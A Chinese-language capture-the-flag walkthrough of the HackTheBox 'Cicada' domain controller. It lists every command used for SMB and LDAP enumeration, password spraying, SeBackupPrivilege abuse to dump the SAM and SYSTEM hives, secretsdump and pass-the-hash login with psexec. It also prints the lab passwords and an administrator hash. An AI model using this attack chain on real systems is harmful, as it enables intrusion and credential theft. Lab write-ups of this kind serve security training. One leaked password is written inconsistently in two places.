首先用 Nmap 进行端口扫描,根据开放的端口和服务(如 88 Kerberos, 389/636 LDAP, 445 SMB),可以判断这是一台 Windows 服务器,并且很可能是一台域控。
sudo nmap 10.10.11.35 -p- --min-rate=3000 -A
针对 Windows 机器,枚举 SMB 很重要,我习惯使用 netexec 这款工具。
先进行简单的探测,结果显示,这是一台 Windows Server 2022,CICADA-DC 是该域控主机名,域名为 ccicada.htb,前面 Nmap 扫描也能大致得到这些信息。
nxc smb 10.10.11.35
接着使用空会话枚举,查看可访问的共享目录,访问被拒绝了。事实上如果允许空会话登录,也几乎就等价于允许匿名登陆了,这一步的枚举关系并不大。
nxc smb 10.10.11.35 -u '' -p '' --shares
然后再使用 guest 和 anonymous 进行空密码登录的尝试,通常匿名账户会继承 Guest 账户的权限,但不是绝对的,最好两个都尝试一下。
nxc smb 10.10.11.35 -u anonymous -p '' --shares
nxc smb 10.10.11.35 -u guest -p '' --shares
HR 和 IPC$ 目录可读,并且 HR 目录并不是默认的,就先连接上去看一下。有一个 txt 文件,将其下载到本地。
smbclient -N //10.10.11.35/HR
看一下这个内容,是关于新员工入职的信息,给了这个 user 一个密码:Cicada$M6Corpb*@Lp#nZp!8。
既然知道了这个 user 的密码,接下来就是想办法知道它的用户名,然后尝试登录或者进一步的枚举。
先尝试直接爆破域用户名,根据 rid 进行爆破,拿到了一些域内对象,筛选出其中的用户名。
nxc smb 10.10.11.35 -u guest -p '' --rid-brute
筛选出了这些用户,就用前面收集到的密码进行一个喷洒。
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
nxc smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
找到了这个用户michael.wrightson,但并不是一个本地管理员用户,否则该工具会给出提示。
尝试 winrm 登录,没能成功,看来该用户也不在远程用户组中。
nxc winrm 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
直接登录的方式不奏效,继续收集信息。
看下 michael.wrightson 用户的共享目录,没看到有其他非默认目录,默认共享目录也可以查看,但暂时放到后面。
nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
查询域内所有的用户,看下是否有遗漏的用户,并且可以得知更多关于用户的信息,这里可以用 ldap 快速查询。
netexec ldap 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
结果显示用户 david.orelious 的描述中提供了密码:aRt$Lp#7t*VQ!3,看看有无远程登录的权限。
nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
nxc winrm 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
无法登录,那就用这个密码再进行喷洒,同样没有收获。
nxc smb 10.10.11.35 -u users.txt -p 'aRt$Lp#7t*VQ!3'
接下来看下该用户的共享目录。
nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
这个 DEV 目录之前是没有权限的,连接一下,发现一个 ps1 脚本文件,下载到本地。
smbclient //10.10.11.35/DEV -U 'david.orelious' --password 'aRt$Lp#7t*VQ!3'
看下脚本的内容:
泄露出 emily.oscars 的密码是 Q!3@Lp#M6b7tVt,重复上述枚举流程。
显示可以通过 5985 端口的 winrm 远程登录,那我们就直接登录吧。
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
在 Windows 的渗透中,特别是 Windows 提权,第一步需要看当前用户的权限。
whoami /priv
发现了 SeBackupPrivilege 权限,这是用作备份文件或目录的,是 Windows 提权中常见的利用点。它允许读取系统上所有的文件,可以利用它直接读取活动目录数据库,或者导出系统本地用户密码文件,然后离线破解。
这里就直接导出 SAM、SYSTEM,域控的本地管理员就是域管。
# 1. 创建一个临时目录 (可省略)
mkdir C:\temp -ErrorAction SilentlyContinue
# 2. 导出 SAM 注册表配置单元
reg save HKLM\SAM C:\temp\SAM
# 3. 导出 SYSTEM 注册表配置单元
# SYSTEM 文件包含解密 SAM 中哈希所需的密钥
reg save HKLM\SYSTEM C:\temp\SYSTEM
# 4. 下载 SAM 文件
download C:\temp\SAM ./SAM_local
# 5. 下载 SYSTEM 文件
download C:\temp\SYSTEM ./SYSTEM_local
# 使用impacket包进行破解
impacket-secretsdump -sam SAM_local -system SYSTEM_local LOCAL
直接用这个 administrator 哈希传递,登录域控。
impacket-psexec Administrator@10.10.11.35 -hashes :2b87e7c93a3e8a0ea4a581937016f341